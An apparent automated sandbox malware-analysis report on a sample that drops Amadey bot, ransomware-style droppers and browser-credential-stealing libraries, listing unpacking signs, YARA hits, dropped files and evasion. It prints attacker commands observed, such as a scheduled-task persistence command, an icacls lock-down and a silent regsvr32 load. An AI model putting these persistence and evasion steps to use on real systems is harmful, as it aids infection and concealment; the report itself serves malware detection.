Source:	Binary string: D:\Mktmp\Amadey\Release\Amadey.pdb source: 374E.exe, 00000010.00000000.2281493930.0000000000E39000.00000002.00000001.01000000.0000000A.sdmp, 374E.exe, 00000010.00000002.2289026448.0000000000E39000.00000002.00000001.01000000.0000000A.sdmp, yiueea.exe, 00000011.00000002.4132764902.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp, yiueea.exe, 00000011.00000000.2288110541.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp, yiueea.exe, 0000001E.00000000.2312551495.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp, yiueea.exe, 0000001E.00000002.2313563029.00000000002F9000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: .pdb.dbg source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\admin\source\repos\driver-process-monitor-master\Release\WinmonProcessMonitor.pdb source: 9EB5.exe, 00000021.00000002.2642720211.0000000005563000.00000040.00001000.00020000.00000000.sdmp, 9EB5.exe, 00000021.00000002.2628119160.0000000000843000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: 9EB5.exe, 00000021.00000002.2628119160.0000000000ACC000.00000040.00000001.01000000.0000000F.sdmp, 9EB5.exe, 00000021.00000002.2642720211.00000000057EB000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Unpacked PE file: 11.2.C06.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Unpacked PE file: 28.2.C06.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Unpacked PE file: 31.2.C06.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Unpacked PE file: 33.2.9EB5.exe.400000.2.unpack
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Unpacked PE file: 38.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Unpacked PE file: 41.2.C06.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\vdhbahw	Unpacked PE file: 7.2.vdhbahw.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Unpacked PE file: 11.2.C06.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Unpacked PE file: 28.2.C06.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Unpacked PE file: 31.2.C06.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\6545.exe	Unpacked PE file: 32.2.6545.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Unpacked PE file: 33.2.9EB5.exe.400000.2.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Unpacked PE file: 38.2.build2.exe.400000.0.unpack .text:ER;.data:W;.tixecil:W;.rake:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Unpacked PE file: 41.2.C06.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Yara detected Costura Assembly Loader

Source: Yara match	File source: 49.2.callcustomer.exe.56f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.callcustomer.exe.56f0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.2949652811.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2949652811.0000000002FEA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2954823218.00000000056F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2949652811.0000000002E62000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2949652811.0000000002FD6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2951334522.00000000040FC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2949652811.0000000002FF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: callcustomer.exe PID: 6432, type: MEMORYSTR

.NET source code contains potential unpacker

Source: thoseintroductory.exe.43.dr, ValueWorkerState.cs	.Net Code: CollectMethod System.Reflection.Assembly.Load(byte[])
Source: callcustomer.exe.45.dr, DispatcherSingletonPool.cs	.Net Code: VerifyContainer System.Reflection.Assembly.Load(byte[])
Source: calllcustomer.exe.45.dr, AlgoAttributeStub.cs	.Net Code: FlushReponse System.Reflection.Assembly.Load(byte[])
Source: 49.2.callcustomer.exe.6510000.4.raw.unpack, --.cs	.Net Code: _0003 System.Reflection.Assembly.Load(byte[])
Source: 49.2.callcustomer.exe.6510000.4.raw.unpack, --.cs	.Net Code: _0003 System.AppDomain.Load(byte[])
Source: 49.2.callcustomer.exe.6510000.4.raw.unpack, --.cs	.Net Code: _0003 System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004014A1 push es; iretd	0_2_004014A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004022A8 pushfd ; ret	0_2_004022C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B230F pushfd ; ret	0_2_006B232E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B1506 push es; iretd	0_2_006B150A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B52B3 push ss; iretd	0_2_008B52B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B1F11 push es; iretd	0_2_008B1F31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B2427 push 8A1E29FAh; iretd	0_2_008B242C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B2A4C pushfd ; ret	0_2_008B2B2B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B8B54 push cs; iretd	0_2_008B8B56
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_004014A1 push es; iretd	7_2_004014A3
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_004022A8 pushfd ; ret	7_2_004022C7
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_006B230F pushfd ; ret	7_2_006B232E
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_006B1506 push es; iretd	7_2_006B150A
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_00746564 push cs; iretd	7_2_00746566
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_0074045C pushfd ; ret	7_2_0074053B
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_0073FE37 push 8A1E29FAh; iretd	7_2_0073FE3C
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_0073F921 push es; iretd	7_2_0073F941
Source: C:\Users\user\AppData\Roaming\vdhbahw	Code function: 7_2_00742CC3 push ss; iretd	7_2_00742CC9
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_004A4D84 push eax; ret	8_2_004A4D9E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_00406785 push ecx; ret	8_2_00406798
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_0228C0AF push ecx; retf	8_2_0228C0B2
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 8_2_02348F05 push ecx; ret	8_2_02348F18
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 11_2_00428565 push ecx; ret	11_2_00428578
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_004A4D84 push eax; ret	15_2_004A4D9E
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_00406785 push ecx; ret	15_2_00406798
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_0217F0AF push ecx; retf	15_2_0217F0B2
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Code function: 15_2_02348F05 push ecx; ret	15_2_02348F18

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 8_2_00404BF9 LoadLibraryW,GetProcAddress,VirtualProtect,

8_2_00404BF9

Source: D900.exe.1.dr

Static PE information: 0xD97FD45F [Sun Aug 19 04:21:51 2085 UTC]

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\1917.dll

Source: 1CEF.exe.1.dr	Static PE information: section name: .css
Source: 1CEF.exe.1.dr	Static PE information: section name: .00cfg
Source: 98D7.exe.1.dr	Static PE information: section name: .xdata
Source: build2.exe.28.dr	Static PE information: section name: .tixecil
Source: build2.exe.28.dr	Static PE information: section name: .rake
Source: build2[1].exe.28.dr	Static PE information: section name: .tixecil
Source: build2[1].exe.28.dr	Static PE information: section name: .rake
Source: build3.exe.28.dr	Static PE information: section name: .kic
Source: build3[1].exe.28.dr	Static PE information: section name: .kic
Source: softokn3.dll.38.dr	Static PE information: section name: .00cfg
Source: nss3.dll.38.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.38.dr	Static PE information: section name: .didat
Source: mozglue.dll.38.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.38.dr	Static PE information: section name: .00cfg

Source: thoseintroductory.exe.43.dr	Static PE information: real checksum: 0x0 should be: 0x5c3af
Source: 9EB5.exe.1.dr	Static PE information: real checksum: 0x4280e3 should be: 0x42935f
Source: calllcustomer.exe.45.dr	Static PE information: real checksum: 0x0 should be: 0x676f3
Source: 1CEF.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x12eada
Source: 8A61.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x2594a
Source: 374E.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0x4fff7
Source: callcustomer.exe.45.dr	Static PE information: real checksum: 0x0 should be: 0x5fa83
Source: yiueea.exe.16.dr	Static PE information: real checksum: 0x0 should be: 0x4fff7

Source: initial sample	Static PE information: section name: .text entropy: 7.62389205775492
Source: initial sample	Static PE information: section name: .text entropy: 7.95593940550675
Source: initial sample	Static PE information: section name: .text entropy: 7.621546056443087
Source: initial sample	Static PE information: section name: .text entropy: 7.62389205775492
Source: initial sample	Static PE information: section name: .text entropy: 7.621546056443087
Source: initial sample	Static PE information: section name: .text entropy: 7.95593940550675

Persistence and Installation Behavior

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4056163306.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000ACE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4056210973.0000000000B3C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.4056210973.0000000000B14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000B5C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.4134687572.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yiueea.exe PID: 3568, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\vdhbahw			Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rahbahw			Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\C06.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\rahbahw	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2\C06.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1CEF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\calllcustomer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9EB5.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\374E.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6545.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\374E.exe	File created: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\8A61.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\D900.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D900.exe	File created: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\callcustomerpro.exe	File created: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\vdhbahw	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\98D7.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\1917.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\treelatest.exe	File created: C:\Users\user\AppData\Local\Temp\IXP001.TMP\thoseintroductory.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\_readme.txt
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\$WinREAgent\_readme.txt
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\$WinREAgent\Scratch\_readme.txt
Source: C:\Users\user\AppData\Local\Temp\C06.exe	File created: C:\Users\user\_readme.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe" /F

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Source: C:\Users\user\AppData\Local\Temp\C06.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49794

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\vdhbahw:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\explorer.exe	File opened: C:\Users\user\AppData\Roaming\rahbahw:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Code function: 11_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

11_2_00481920

Source: C:\Users\user\AppData\Local\Temp\C06.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\977b3593-e014-49e4-a011-771ad84e5ef2" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\374E.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\577f58beff\yiueea.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\C06.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\9EB5.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\00917474-93a3-4865-9112-03a53bb97209\build2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IXP002.TMP\callcustomer.exe	Process information set: NOOPENFILEERRORBOX
